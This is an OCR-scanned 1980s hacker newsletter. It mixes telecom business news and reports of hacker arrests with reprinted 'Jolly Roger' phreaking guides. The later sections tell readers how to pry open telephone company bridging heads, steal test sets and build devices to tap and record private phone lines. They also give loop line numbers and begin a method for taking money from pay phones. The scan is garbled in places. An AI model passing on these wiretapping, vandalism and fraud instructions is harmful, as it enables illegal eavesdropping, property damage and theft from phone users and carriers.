comment on the rumors. The company is the nation’s third largest long 


distance company, after the American Telephone and Telegraph Co. (AT&T) and 
MCT Communications Co. 

Last year, Washington based MCI undertook a similar reorganization in 
which it posted a $502.5 million loss to write down old inventory and 
restructure operations. 

Analysts said that is US Sprint is to turn a profit, the company must 
increase its market share. "To do this, US Sprint must gain more large 
business customers, which account for about 80 percent of industry revenues,” 
said Robert B. Morris III, Securities in San Francisco. 

Morris said that by using a slick marketing campaign to differentiate its 
all-fiber telephone network from those of competitors, US Sprint more than 
doubled its customer base last year. But "most of these customers were 
residential and sma!l business users that added little to Sprint's bottom 
line," he added. "If the company expects to be profitable, it will have to 
concentrate on providing the best service to volume users." 


Mount Lebanon, PA -- The US Secret Service and local police departments 
have put a scare into the hacker community with a nationwide crackdown on 
computer crime that has resulted in the arrests of teenage hackers in at least 
three cities, 

"People who monitor the bulletin boards say there are a lot of nervous 
hackers out there, wondering who will be arrested next," says Ronald E. 
Freedman, vice-president of Advanced Information Management, a Woodbridge, VA 
base computer security firm. 

Nine teenagers from Mount Lebanon Junior-Senior High School near 
Pittsburg, PA, were arrested recently and charged with computer fraud. The 
juveniles allegedly used home computers to gain illegal access to a credit 
card authorization center. They obtained valid credit card numbers and used 
them to purchase thousands of dollars worth of mail order merchandise, the 
police said. 

Freedman says it appears the hackers used some relatively sophisticated 
techniques in the scheme, including specially written software that enabled 
them to bypass security controls and navigate through credit records to obtain 
key information. 

Police officials say that the hackers also obtained access codes from 
pirate bulletin board systems to make free long distance calls and gain access 
to various business and government computers. 

The arrests were the result of a 6 week investigation by the Secret 
Service and the Mount Lebanon police. The police were tipped off by parents 
who were suspicious about how their son managed to obtain a skateboard valued 


at $140. 

The Secret Service was also involved in investigations that led to the 
arrests of several hackers in San Francisco and New York last July. 

Secret Service spokesman William Corbett says that although some reports 
have portrayed the hackers as part of a national crime ring, the cases are 
unrelated. "It's just that a few of these computers hacking cases came to a 
head at about the same time," he says. 

Federal Legislation enacted in 1984 gives the Secret Service, part of the 
Department of the Treasury, a major role in investigating computer crimes. 
Under the federal Computer Fraud and Abuse Act of 1986, computer fraud is a 
felony that carries a maximum penalty of 5 years for the first offense, and 10 
years for the second. Displaying unauthorized passwords on hacking bulletin 
boards carries a maximum penalty of | year in prison for the first offense, 
and 10 years for the second. 

] This information was supplied by Ye Cap'n 


Washington, D.C. -- A group of West German teenagers from the Chaos 
Computer Club penetrated a NASA network recently, saying they were doing it to 
"test the security." 

What they got into was SPAN Net, a computer network with about 700 notes, 
which is actually based at the Goddard Space Center in Maryland. All that's 
in there is unclassified data, space science information, and post-flight data 
anaysis. "Anyone with NASA related research can apply for access to SPAN" 
says a spokesman, who adds that the network runs on DEC VAX hardware. "We 
picked up three attempts to gain access and put in security precautions so it 
would't happen.” His personal opinion is, "We're happy that they couldn't get 
back in, and decided to go public." He also added that NASA has many other 
networks, many of the classified and "probably inpenetrable. But I do not 
want to challenge anybody." 

How'd they get in? Probably they got a West German NASA licensee, which 
gave them a visitor's pass, then they created new passwords with unlimited 
security for themselves, after which getting around the network was easy. 

] Supplied by Ye Cap'n 


We look for information in anyway related to the newsletter. If you have 
something of interests, or something that you saw on television, or in the 
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New Cannan, CT -- International Resource Develope of New Cannan, CT says 
that the market bubble for packet switch networks like TeleNet is going to 
burst by 1991, regardless of what the Federal Communications Commission does 
about access charges. Cheap fiber, which greatly increases the capacity, and 
ISDN services, which let you share a phone line with your computer, will do 
the business in, the report says. Over the next four years, however, the 
demand for packet switch services to will grow from $650 million to $1,612 
million (Ifthe Baby Bells are allowed to add competition to the market, the 
$5/hour access charge cannot be passed though to the customers anyway). 
| Supplied by Ye Cap'n 


San Carlos, CA -- The Pirate's Hollow, one of the more popular BBS's in 
the Bay Area, is installing several new features that will even add to it's 
popularity. For one, users will be able to gamble against each other by 
betting on NFL games and participating in the Pirate's Hollow Lottery. Also, 
in order to support one of the best newsletters around, the Pirate's Hollow 
will soon be adding a seperate module that will act as an outpost for The 
Remote Informer. This module will feature the older issues of the newsletter, 
a section that will keep you abreast of updates of recently released 
information, and a section that will show what is upcoming in the next issues 
of The Remote Informer. 


The long-awaited database will soon be put online. Over 800 textfiles 
on a variety of subjects will be available to the users that pay the access 
fee that will be determined at a later date. Many more are on the way, and 
will be included at no charge. The charge will be a one time charge though, 
rather than a yearly payment. 

Another new option will be available by early December. PC Pursuit 
callback will be installed. This will allow people to call and then get 
called back if your area code is supported by PC Pursuit. This will also 
require a charge, to be set at a later date. 

The Pirate's Hollow has been doing well in its comeback to the 
telecommunications world, but we need more callers in order to formulate a 
more diverse user base. Please spread the BBS # around while also trying to 
make others aware of the newsletter. 


There are currently three different forms of switching systems that are 
present in the United States today. Step by Step (SxS), Crossbar, and the 
Electronic Switching System (ESS) make up the group. Phreaks have always been 
a little tenative when it comes to "doing their work" once they have heard 
about effects of switching systems on their hobby. After researching this 
topic, I have found that there really is not that much to be worried about. 

Read on, while I share with you information which I have compiled about all of 
these switching systems and their distinct features. 

The first switching system that was used in the country was called Step 
by Step. This was adopted in 1918 by Bell, and until 1978, they had over 53% 
of all their exchanges using Step by Step (SxS). This system is known for 
it's long, confusing train of switches that are used for its step by step 
switching. 

Step by Step has many disadvantages to phone users. The switch train 
becomes jammed fairly often, and it causes calls to be blocked. Also, SxS 
does not allow the use of DTMF dialing. This accounts for some of the areas in 
the United States that cannot have touch tone dialing abilities. A tremendous 
amount of electricity and maintenance needs to accompany the SxS switching 
system, which makes it even more impratical. All in all, this is probably the 
most archaic switching system around. 

There are a number of ways to see if you are on SxS. You will notice that 
there are no pulsing digits after dialing. Most sources say that the phone 
company will sound like many typewriters. SxS does not offer features such as 
speed calling, call forwarding, three-way calling, call waiting, and other 
such services. Pay phones on SxS also will want your money before you receive 
a dial tone. This adds to the list of disadvantages labelled to that of the 
Step by Step switching systems. 


Another type of switching system that is prevalent in the United States 
is Crossbar. Crossbar has been Bell's primary switcher after 1960, and three 
types of it exists. Number 1 Crossbar (1xB), Number 4 Crossbar (4xB), and the 
Number 5 Crossbar (5xB). In Crossbar, a switching matrix is used for all the 
phones in an area, and when someone calls, the route is determined and is met 
up with the other phone. This matrix is set-up in horizontal and vertical 
paths. Unlike other swichting systems, in my research, ] could not come up 
with any true and definate distinguishing features of the Crossbar switching 
systems. 

The Electronic Switching System (ESS) is yet another switching system 
used in the United States and the most used of all three swicthing systems. 

ESS is an extremely advanced and multi-faced type of switching system, and is 
feared by marauders of the phone company everywhere. With ESS, your phone 
company is able to know every digit dialed Gncluding mistakes), who you call, 
when you called, and how long you were connected. ESS is also programmed to 
print out the numbers of people who make excessive calls to WATS numbers (800 
services) or directory assistance. This feature of ESS is called 800 

Exceptional Calling Report, and has spelled the end of some forms of 

continuous code hacks to certain extenders. ESS can also be programmed to 

print logs of who called and abused certain numbers as well. Everything is 

kept track of in its records. 

The aforementioned facts show that ESS has made the jobs of organizations 
such as the FBI, NSA, and other phone company security forces easier. Tracing 
can be done in a matter of microseconds, and the result will be conveniently 
printed out on the monitor of a phone company officer. ESS is also programmed 
to pick up any "foreign tones" on the phone line such as the many varied tones 
emulated by boxes. 

ESS can be identified by a few features common in it. The 911 emergency 
service is covered in the later versions of ESS. Also, you are given the dial 
tone first when using a pay phone unlike that of SxS. Calling services like 
call forwarding, speed calling, and call waiting are also common to ESS. One 
other feature common to ESS is ANI (Automatic Number Identification) for long 
distance calls. As you can see, ESS is basically the zenith of all switching 
systems, and it will probably plague the entire country by the early 1990's. 

Soon after, we should be looking forward to a system called CLASS. This 
switching system will contain the feature of having the number of the person 
that is calling you printed out on your phone. 

What have I concluded about these switching systems? Well, they are not 
good enough. I know a few people employed by the phone company, and I know 
for a fact that they do not have enough time these days to worry about code 
users, especially in large, metropolitan areas. So, I will go out on a limb 
here, and say that a large portion of people will never have to worry about 
the horrors of ESS, 

] Written by Ye Cap'n 


The most amazing device has turned up in the new Hammacher Schlemmer 
catalog: the telephone voice gender changer. 

What it does is change the pitch of your voice from, say, soprano to bass 
-- a most efficient way to dissuade an obscene phone caller just as he's 
getting warmed up. 

That is not the same as running a 45 r.p.m. record at 33. In digital 
conversion, the pitch can be changed without altering the speed. 

The device runs on a 9-volt batter and attaches to the telephone mouth 
piece with a rubber coupler that takes but a moment to slip on and off. 

With the changer switched on, says Lloyd Gray, a Hammacher Schlemmer 
technical expert, "the effect is similar to what you hear when they interview 
an anonymous woman on television and disguise her voice by deepening it." 
"It's better for changing a woman's voice to a man’s than the other way 
around," Gray said. A man can use it to raise the pitch of his voice, but he 
still won't sound like a woman." 

A man could, however, use the changer to disguise his voice. But with the 
device set on high, Gray's voice still could be identified as his own. On low, 
his normal tenor became so gravel like that the words were unintelligible. 

] Supplied by Tracker and The Reporter 
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= AT&T Rates = 


WASHINGTON -- American Telephone & Telegraph Co. proposed Tuesday to 
lower its interstate long-distance rates by an average of 3.6 percent to 
reflect reduced costs in connecting to the local telephone network. 

The largest decrease -- 6.3 percent -- would be seen in day time prices 
"because of the need to make those rates more competitive," AT&T said. 

Rates for calls made during evening hours would drop 2.2 percent and 

calls made during the late night and weekends would be cut by 0.8 percent, the 
company said. 

The rate reductions would take effect Jan. 1, if they are approved by the 
Federal Communications Commission. 

Reacting to the proposed price cuts, MCI Communications Corp. and US 
Sprint Communications Co,, the nation's second-largest and third-largest long 
distance companies respectively, said their response would depend on what the 
FCC finally approves but both said they intended to remain competitive with 
AT&T. AT&T, the nation's largest long-distance company, proposed to the FCC 
that its rates drop as much as $800 million, but AT&T said the exact amount 
will depend on the access charges the FCC allows the local telephone companies 
to collect from long distance carriers, which must pay the fees to hook into 

the phone local network. 

AT&T has challenged the new access rates filed by the regional Bell 

operating companies, contending they are more than $1 billion too high. 

In proposing its new rates, the long-distance leader told the FCC it 

expects local companies’ access fees to fall by at least $200 million -- which 
would amount to an average rate reduction of less than 1 percent. But the 
company said it believes the FCC will order an additional $600 million in 
reductions based on AT&T's challenge. 

"We're confident the FCC will recognize that access charges filed by the 
local telephone companies need to be substantially reduced, which would mean 
more savings for our customers,” said Larry Garfinkel, AT&T vice president for 
marketing. 

He said the company filed its proposed rates based on disputed charges 
because "we wanted to let the public react ... and further to let the FCC have 
full knowledge of where we were heading given our expectation that we had a 
valid basis for our dispute.” 

AT&T's long-distance rates have fallen by about 34 percent since the 
company was stripped of its local operating companies by an antitrust decree 
nearly four years ago. 


Since then, phone rate payers have been paying a larger share of the costs 
of maintaining the local network through monthly subscriber line charges, now 
$2.60 for residential customers. 

That has reduced the long-distance companies share of local network 
expenses, which they pay in the form of access charges. 

Jack Grubman, a telephone analyst with Paine Webber Inc., said AT&T's 
proposal targets business customers because "that's where the competition is 
and where the better (profit) margins are." In addition, it aims to keep the 
pressure on competition in international calling by extending discounts to 
more customers. Grubman added that, if the company’s rate proposal is approved 
by the FCC, he would expect no further cuts in AT&T rates in 1988. 

Wendell Lind, AT&T administrator of rates and tariffs, said the cuts for 
business and residential customers are about the same because business cuts 
are offset by a proposed $128 million increase in AT&T's private line rates. 

AT&T is the only long-distance company whose rates are regulated by the 
FCC, but its prices set the pace for the industry. Though AT&T is far larger 
than any of its competitors, its market share has been declining since 
divestiture and the company now says it serves about 75 percent of the market. 

In addition to the reductions in basic long-distance rates, AT&T proposed 
cutting prices by S percent and 5.7 percent for its Pro-America calling plans. 

The company also proposed to reduce prices by 2.9 percent for its 800 
Service customers and 4.4 percent for WATS customers, although it would 
increase the monthly access line charges for those plans by $3.20 to reflect 
higher special access charges filed by the local phone companies. 

1 Sepals by eels and ete Reporter 


= US Sprint Operator Service Traffic Increases 40% = 
= New Center Added In Dallas = 


ORLANDO, Fla. -- US Sprint Wednesday announced its long distance 
operators who began saying, "May I help you?" just five months ago, are now 
handling 3.5 million calls a month. 

The fiber-optic long-distance carrier, offering the only operator service 
alternative to AT&T has experienced a 40 percent growth in operator service 
calls since it announced its service July |. 

Amanda Weathersby, US Sprint vice president of product marketing, said 
Tuesday, "More and more people are taking advantage of our call completion 
assistance and alternative billing arrangements. 

"Customer surcharges are the same as AT&T with the added benefit of US 
Sprint's fiber-optic quality and lower long-distance rates.” 

US Sprint currently offers person-to-person, station-to-station, call 
completion and collect calling. US Sprint has announced an agreement with US 
WEST Service Link that will allow anyone to call on US Sprint and charge 


fois 


their calls to a Regional Bell Operating Co. calling card beginning in first 
quarter 1988, 

"Previously, our operator service was available only on pre-subscribed 
US Sprint phones and recently we added operator assistance for US Sprint FON 
CARD customers," Weathersby said. 

"With this new agreement, we'll be able to expand our operator service 
to markets such as pay phones, hospitals, and hotels/motels." 

The newest 24-hour operator service center in Dallas began operations on 
Oct. 5. US Sprint's other operator service centers are in: Cherry Hill, 

N.J.; Atlanta; Lombard, I]. and Reno, Nev. 

US Sprint is a joint venture of United Telecommunications Inc. of Kansas 

City, Mo. and GTE Corp. of Stamford, Conn. 


SAN FRANCISCO--(BW)--Pacific Bell is warning consumers to protect their 
telephone calling cards like any other credit card in the wake of a series of 
frauds by people posing as phone company employees. 

A Pacific Bell spokesman says customers in the 213, 805 and 916 area 
codes are being victimized by someone who says he is a telephone company 
employee investigating calling card fraud. The individual calls people at 
home at odd hours, asking for their calling card numbers. He then sells the 
numbers to people who use the numbers to make long distance phone calls. 

As recently as Monday of this week, 180 long distance calls were billed 
to a Sacramento area resident who had given his number to the thief just three 
hours earlier. 

According to Pacific Bell, this kind of scheme and other forms of calling 
card fraud cost telephone customers nationwide half a billion dollars a year. 

The company offered these tips to consumers to avoid becoming a victim of 
calling card fraud: 

Never give your calling card number or personal identification number to 
anyone. Any telephone company employee with a legitimate need to know the 
number has access to it. 

Treat your calling card like any other credit card. Report its loss 
immediately by calling the 800 number on the back of the card 800-621-0430. 

If you receive a suspicious call regarding your telephone calling card, 
report it by calling the 800 number on the back of the card. 

If you receive a call from someone claiming to be a telephone company 
employee and asking for your calling card number, ask for a name and number to 
call back. Then call the local Pacific Bell business office to report the 
incident. 

One suspect was arrested in Southern California last week by a quick 


thinking customer who did just that. Pacific Bell immediately contacted the 
local police department. A suspect holding seven stolen calling card numbers 
was arrested minutes later. 

Pacific Bell and long-distance telephone companies will credit customers 
for calling card charges determined to be fraudulent. Pacific Bell is a 
subsidiary of Pacific Telesis Group, a diversified telecommunications 
corporation based in San Francisco. 

] Supplied by Tracker and The Reporter 
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The Phreaker's Guide to Loop Lines courtesy of the Jolly Roger 


A loop is a wonderous device which the telephone company created as test 
numbers for telephone repairmen when testing equipment. By matching the 
tone of the equipment with the tone of the loop, repairmen can adjust and test 
the settings of their telephone equipment. 

A loop, basically, consists of two different telephone numbers. Let's 
use A and B as an example. Normally if you call A, you will hear a loud 
tone (this is a 1004 hz tone), and if you call B, the line will connect, and 
will be followed by silence. 

This is the format of a loop line. Now, if somebody calls A and someone 
else calls B--Viola!--A and B loop together, and one connection is made. 

Ma Bell did this so repairmen can communicate with each other without 
having to call their own repair office. They can also use them to exchange 


programs, like for ANA or Ringback. Also, many CO's have a "Loop Assignment 


Center". If anyone has any information on these centers please tell me. 
Anyway, that is how a loop is constructed. From this information, 
anyone can find an actual loop line. Going back to the A and B example, 
Note: the tone side and the silent side can be either A or B. Don't be fooled 
if the phone company decides to scramble them around to be cute. 
As you now know, loops come in pairs of numbers, Usually, right after each 
other. F 
For example: 817-972-1890 
and 


817-972-1891 

Or, to save space, one loop line can be written as 817-972-1890/1. 

This is not always true. Sometimes, the pattern is in the tens or hundreds, 
and, occaisionally, the numbers are random. 

In cities, usually the phone company has set aside a phone number suffix 
that loops will be used for. Many different prefixes will correspond 
with that one suffix. 

In Arlington, Texas, a popular suffix for loops is 1893 and 1894, and 
a lot of prefixes match with them to make the number. 

For Example: 817-460-1893/4 
817-461-1893/4 
817-465-1893/4 
817-467-1893/4 
817-469-1893/4 

..are all loops... 

or a shorter way to write this is: 

817-xxx-1893/4 
xxx= 460, 461, 465, 467, 469 

Note: You can mix-and-match a popular suffix with other prefixs in a 
city, and almost always find other loops or test numbers. 

Note: For Houston, the loop suffixes are 1499 and 1799. And for Detroit 
it's 9996 and 9997, 

When there are a large number of loops with the same prefix format, 
chances are that many loops will be inter-locked. Using the above example 
of Arlington loops again, (I will write the prefixes to save space) 460, 461, 
and 469 are interlocked loops. This means that only one side can be used at 
a given time. This is because they are all on the same circuit. 

To clarify, if 817-461-1893 is called, 817-460 and 469-1893 cannot be 
called because that circuit is being used. Essentialy, interlocked loops 
are all the same line, but there are a variety of telephone numbers to access 
the line. 

Also, if the operator is asked to break in on a busy loop line he/she 
will say that the circuit is overloaded, or something along those 
lines, This is because Ma Beil has taken the checking equipment off 
the line. However, there are still many rarely used loops which can 
be verfied and can have emergency calls taken on them. 

As you have found out, loops come in many types. Another type of loop is a 
filtered loop. These are loop lines that the tel co has put a filter on, so 
that normal human voices cannot be heard on either line. However, other 
frequencies may be heard. It all depends on what the tel co wants the 
loop to be used for. If a loop has gotten to be very popular with the 
local population or used frequently for conferences, etc. the tel co may filter 
the loop to stop the unwanted "traffic". Usually, the filter will be 
removed after a few months, though. 


woeec nnn nne nena Brought to you by the Jolly Roger 


How Ma Bell Works by the Jolly Roger 


In this article, I will first describe the termination, 
wiring, and terminal hardware most commonly used in the Bell 
system, and I will include section on methods of using them. 


The local telephone network between the central 
office/exchange and the telephone subscribers can be briefly 
described as follows: 

From the central office (or local exchange) of a certain 
prefix(es), underground area trunks go to each area that has that 
prefix (Usually more than one prefix per area.) At every few 
streets or tract areas, the underground cables surface. They then 
go to the telephone pole (or back underground, depending on the 
area) and then to the subsribers house (or in the case of an 
apartment building or mutliline business, to a splitter or dis- 
tribution box/panel). 

Now that we have the basics, I'll try and go in-depth on the 
subject. 


These are sometimes inter-office trunks, but usually in a 
residential area they are trunk lines that go to bridging heads 

or distribution cases. The cables are about 2-3 inches thick 
(varies), and are either in a metal or pve-type pipe (or 
similiar). Rarely (maybe not in some remote rural areas) are the 
cables just ‘alone’ in the ground. Instead they are usually in 

an underground cement tunnel (resembles a small sewer or storm- 
drain.) The manholes are >heavy< and will say 'Bell system’ on 
them. they can be opened with a 1/2 inch wide crowbar (Hookside) 
inserted in the top rectangular hole. There are ladder rungs to 
help you climb down. You will see the cable pipes on the wall, 
with the blue and white striped one being the inter-office trunk 

(at least in my area). The others are local lines, and are 

usually marked or color coded. There is almost always a posted 
color code chart on the wall, not to mention Telco manuals de- 
scribing the cables and terminals, so I need not get into detail. 
Also, there is usually some kind of test equipment, and often 
Bell test sets are left in there. 


The innocent-looking grayish-green boxes. These can be 
either trunk bridges or bridging for residences. The major trunk 
bridging heads are usually larger, and they have the ‘Western 
Electric’ logo at the bottom, whereas the normal bridging heads 
(which may be different in some areas-depending on the company 
you are served by. GTE B.H.'s look slightly different. Also, do 
not be fooled by sprinkler boxes!) They can be found in just 
about every city. 

To open a bridging head: if it is locked (and you're feeling 
destructive), put a hammer or crowbar (the same one you used on 
the manhole) in the slot above the top hinge of the right door. 
Pull hard, and the door will rip off. Very effective! If it isn't 
locked (as usual), take a 7/8 inch hex socket and with it, turn 
the bolt about 1/8 of aturn to the right (you should hear a 
spring release inside). Holding the bolt, turn the handle all the 
way to the left and pull out. 

To Check for a test-set (which are often left by Bell employees), 
go inside - First check for a test-set (which are often left 

by Bell employees). There should be a panel of terminals and 
wires. Push the panel back about an inch or so, and rotate the 
top latch (round with a flat section) downward. Release the 
panel and it will fall all the way forward. There is usually a 
large amount of wire and extra terminals. The test-sets are 
often hidden here, so don't overlook it (Manuals, as well, are 
sometimes placed in the head). On the right door is a metal box 
of alligator clips. Take a few (Compliments of Bell.). On each 
door is a useful little round metal device. (Says ‘insert gently’ 

or' clamp gently - do not overtighten’ etc..) On the front of 
the disc, you should find two terminals. These are for your test 
set. (If you dont have one, dont despair -I'll show you ways to 
make basic test sets later in this article). 

Hook the ring (-) wire to the 'r' terminal; and the tip (+) 

wire to the other. (By the way, an easy way to determine the 
correct polarity is witha 1.5v LED. Tap it to the term. pair, 

if it doesnt light, switch the poles until it does, When it 
lights,find the longer of the two LED poles: This one will be on 
the tip wire (+). Behind the disc is a coiled up cord. This 
should have two alligator clips on it.. Its very useful, because 
you dont have to keep connecting and disconnecting the fone (test 
set) itself, and the clips work nicely. 

On the terminal board, there should be about 10 screw 
terminals per side. Follow the wires, and you can see which 


cable pairs are active. Hook the clips to the terminal pair, and 
you're set! Dial out if you want, or just listen (If someone's 

on theline). Later, I'll show you a way to set up a true ‘tap’ 
that will let the person dial out on his line and receive calls 

as normal, and you can listen in the whole time. More about this 
later... 

On major prefix-area bridging heads, you can see ‘local 
loops’ ,which are two cable pairs (cable pair = ring+tip, a fone 
line) that are directly connected to each other on the terminal 
board. These ‘cheap loops’ as they are called, do not work 
nearLy as well as the existing ones set up in the switching 
hardware at the exchange office. (Try scanning your prefixes' 
00xx to 99xx #'s.) The tone sides will announce themselves with 
the 1008 hz loop tone, and the hang side will give no response. 
The first person should dial the 'hang’ side, and the other 
person dial the tone side, and the tone should stop if you have 
got the right loop.) 

If you want to find the number of the line that you're on, 

you can either try to decipher the ‘bridging log’ (or whatever), 
which is on the left door. If that doesnt work, you can use the 
follwing: 


This is a Telco test number that reports to you the number 
that youre calling from (It’s the same, choppy 'Bell bitch’ voice 
that you get when you reach a disconnected #) 
For the 213 NPA - Dial 1223 

408 NPA - Dial 760 

914 NPA - Dial 990 
These are extremely useful when messing with any kind of line 
terminals, house boxes, etc. 
Now that we have bridging heads wired, we can go on... (don't 
forget to close and latch the box after all... Wouldnt want GE 
and Telco people mad, now, would we?) 


Basically, two types: 

1> Large, rectangular silver box at the end of each street. 

2> Black, round, or rectangular thing at every telephone pole. 
Type 1- This is the case that takes the underground cable from 
the bridge and runs it to the telephone pole cable (The lowest, 
largest one on the telephone pole.) The box is always on the 


pole nearest the briging head, where the line comes up. Look for 
the 'Call before you Dig - Underground cable’ stickers.. 
The case box is hinged, so if you want to climb the pole, 
you can open it with no problems. These usually have 2 rows of 
terminal sets. 
You could try to impersonate a Telco technician and report 
the number as 'new active' (giving a fake name and fake report, 
etc.) I dont recommend this, and it probably won't (almost 
positively won't) work, but this is basically what Telco linemen 
do), 
Type 2 - This is the splitter box for the group of houses around 
the pole (Usually 4 or 5 houses). Use it like ] mentioned 
before. The terminals (8 or so) will be in 2 horizontal rows of 
sets. The extra wires that are just ‘hanging there’ are 
provisions for extra lines to residences (1 extra line per house, 
thats why the insane charge for line #3!) Ifits the box for 
your house also, have fun and swap lines with your neighbor! 
‘Piggyback’ them and wreak havoc on the neighborhood (It's 
eavesdropping time...) Again, | don't recommend this, and its 
difficult to do it correctly. Moving right along... 

APARTMENT / BUSINESS MULTILINE 

DISTRIBUTION BOXES 


Found outside the buliding (most often on the right side, 

but not always... Just follow the wire from the telephone pole) 
or inthe basement. It has a terminal for all the lines in the 
building. Use it just like any other termination box as before. 
Usually says 'Bell system’ or similar. Has up to 20 terminals on 
it (usually) the middle ones are grounds (forget these). The 
wires come from the cable to one row (usually the left one), with 
the other row of terminals for the other row of terminals for the 
building fone wire pairs. The ring (-) wire is usually the top 
terminal if the set in the row (1 of 10 or more), and the tip is 

in the clamp/screw below it. This can be reversed, but the cable 
pair is always terminated one-on-top-of-each- other, not on the 
one next to it. (I'm not sure why the other one is there, 
probably as aprovision for extra lines) Don't use it though, it 

is usually to close to the other terminals, and in my experiences 
you get a noisy connection. 

Final note: Almost every apartment, business, hotel, or anywhere 
there is more than 2 lines this termination lines this 
termination method is used. If you can master this type, you can 
be in control of many things... Look around in your area for a 
building that uses this type, and practice hooking up to the 


line, etc. 

As an added help,here is the basic ‘standard’ color-code for 

multiline terminals/wiring/etc... 

Single line: Red = Ring 

Green = Tip 
Yellow = Ground * 

* (Connected to the ringer coil in individual and bridged 
ringer phones (Bell only) Usually connected to the green 
(Tip) 

Ring (-) = Red 

White/Red Stripe 
Brown 
White/Orange Stripe 
Black/Yellow Stripe 

Tip (+) = Green (Sometimes 

yellow, see above.) 

White/Green Stripe 

White/Blue Stripe 

Blue 

Black/White Stripe 
Ground = Black 

Yellow 


Small, gray (can be either a rubber (Pacific Telephone) or hard 
plastic (AT & T) housing deal that connects the cable pair from 
the splitter box (See type 2, above) on the pole to your house 
wiring. Only 2 (or 4, the 2 top terminals are hooked in parallel 
with the same line) terminals, and is very easy to use. This can 
be used to add more lines to your house or add an external line 
outside the house. 


Well, now you can consider yourself a minor expert on the 
terminals and wiring of the local telephone network. Now you can 
apply it to whatever you want to do.. Here's another helpful 
item: 

How to make a Basic Test-Set and how to use it to dial out, 
eavsdrop, or seriously tap and record line activity. 

These are the (usually) orange hand set fones used by Telco 
technicians to test lines. To make a very simple one, take any 
Bell (or other, but J recommend a good Bell fone like a princess 
or a trimline. gte flip fones work excllently, though..) fone and 


follow the instructions below. 

Note: A 'black box’ type fone mod will let you tap into their 
line, and with the box 0, it's as if you werent there. they can 
recieve calls and dial out, and you can be listening the whole 
time! very useful. With the box off, you have a normal fone test 
set. 

Instructions: 

A basic black box works well with good results. Take the cover 
off the fone to expose the network box (Bell type fones only). 
The <RR> terminal should have a green wire going to it (orange or 
different if touch tone - doesnt matter, its the same thing), 
Disconnect the wire and connect it to one pole of an SPST switch. 
Connect a piece of wire to the other pole of the switch and 
connect it to the <RR> terminal. Now take a 10k hm 1/2 watt 10% 
resistor and put it between the <RR> terminal ad the <F> 
terminal, which should have a blue and a white wire going to it 
(different for touch tone). It should look like this: 


seeoe Blue wire----------<F> 
! 
---- White one nena ! 
! 
10k Resistor 
| 
--Green wire-- — {----<RR> 
1 
‘SPST 


What this does in effect is keep the hookswitch / dial pulse 
switch (F to RR loop) open while holding the line high with the 
resistor. This gives the same voltage effect as ifthe fone was 
‘on-hook', while the 10k ohms holds the voltage right above the 
‘off hook’ threshold (around 22 volts or so, as compared to 15-17 
or normal off hook 48 volts for normal 'on-hook’), giving 

Test Set Version 2. 

Another design is similar to the 'type 1' test set (above), 

but has some added features: 


From >---------------- ‘Tip------ <To Test 
Alligator set 
Clip >---------------+ Ring-----<phone 

| ! 

x ! 

I ! 

oO ! 

{ x---RRRRR---! 

! 


x ! 


x = Spst Switch 
o =Red LOD 0 =Green LED 
RRRRR= 1.8k 1/2 watt xxxx= Dpst switch 

resistor 
When the SPST switch in on, the LED will light, and the fone 
will become active. The green light should be on. If it isn't, 
switch the dpst. Ifit still isnt, check the polarity of the 
line and the LEDs. With both lights on, hang up the fone. They 
should all be off now. Now flip the dpst and pick up the fone. 
The red LED shold be on, but the green shouldnt. If it is, 
something is wrong with the circuit. You wont get a dial tone if 
all is correct. 
When you hook up to the line with the alligator clips 
(Assuming you have put this circuit inside our fona and have put 
alligator clips on the ring and tip wires (As we did before)) you 
should have the spst #1 in the off posistion. This will greatly 
reduce the static noise involved in hooking up to a line. The red 
LED can also be used to check if you have the correct polarity. 
With this fone you will have the ability to listen in on 
>all< audible line activity, and the people (the 'eavesdropees') 
can use their fone as normal. 
Note that test sets #1 and #2 have true 'black boxes', and can be 
used for free calls (see an article about black boxes), 


Test Set Version 3 


To do test set 3: 

Using a trimline (or similar) phone, remove the base and cut 

all of the wire leads off except for the red (ring -) and the 
green (tip +). Solder alligator clips to the lug. The wire 
itself is ‘tinsel’ wrapped in rayon, and doesnt solder well. 
Inside the one handset, remove the light socket (if it has one) 
and install a small slide or toggle switch (Radio Shack's micro- 
miniature spst works well). Locate the connection of the ring 
and the tip wires on the pc board near where the jack is located 
at the bottom of the handset. (The wires are sometimes black or 
brow instead of red and green, respectively). Cut the foil and 
run 2 pieces of wire to your switch. In parallel with the switch 
add a.25 uf 200 VDC capacitor (mylar, silvered mica, ceramic, 
not an electrolytic). When the switch is closed, the handset 
functions normally. With the switch in the other position, you 
can listen without being heard. 

Note: To reduce the noise involved in connecting the clips to a 


line, add a switch selectable 1000 ohm 1/2 watt resistor in 
series with the tip wire. Flip it in circuit when connecting, and 
once on the line, flip it off again. (or just use the ‘line disc- 
onect' type switch as in the type 2 test set (above)). Also 
avoid touching the alligator clips to any metal parts or other 
terminals, for i causes static on the line and raises poeple's 
suspicions. 


If you would like to record any activity, use test set 1 or 
2 above (for unattended recording of >all< line activity), or 
just any test set if you are going to be there to monitor when 
they are dialing, talking, etc. 
Place a telephone pickup coil (I recommend the Becoton T-5 TP 
coil or equivalent) onto the test set, and put the TP plug into 
the mic. jack of any standard tape recorder. Hit play, rec, and 
pause. Alternate pause when you want to record (I dont think 
anyone should have any difficulty with this at all...) 
Well, if you still can't make a test set or you dont have the 
parts, there's still hope. Alternate methods: 
1> Find a bell test set ina manhole or a bridging head and 
‘Borrow it indefinately... 
2> Test sets can be purchased from: 
Techni-Tool 
5 Apollo Road 
Box 368 
Plymouth Meeting PA., 19462 
Ask for catalog #28 
They are usually $300 - $600, and are supposed to have MF 
dialing capability as well as TT dialing. They are also of much 
higher quality than the standard bell test sets. 
If you would like to learn more about the subjects covered here, 
I suggest: 
1> Follow Bell trucks and linemen or technicians and ask subtle 
questions. also try 611 (repair service) and ask questions.. 
2> Explore your area for any Bell hardware, and experiment with 
it. Don't try something if you are not sure what youre doing, 
because you wouldnt want to cause problems, would you? 


Getting Money out of Pay Phones by the Jolly Roger 


I will now share with you my experiences with pay telephones. You will discover 
that it is possible to get money from a pay phone with a minimum of effort. 


Theory: Most pay phones use four wires for the transmission of data and 
codes to the central office. Two of them are used for voice (usually red and 
green), one is a ground, and the last is used with the others for the 
transmission of codes. 
It is with this last wire that you will be working with. On the pay phone that 
I usually did this to, it was colored purple, but most likely will be another 
color. 
What you will do is simply find a pay phone which has exposed wires, such that 
one of them can be disconnected and connected at ease without 
fear of discovery. You will discover that it is usually a good idea to 
have some electrical tape along with you and some tool for cutting this 
tape. 
Through trial and error, you will disconnect one wire at a time starting with 
the wires different than green and red. You do want a dial tone during 
this operation. 
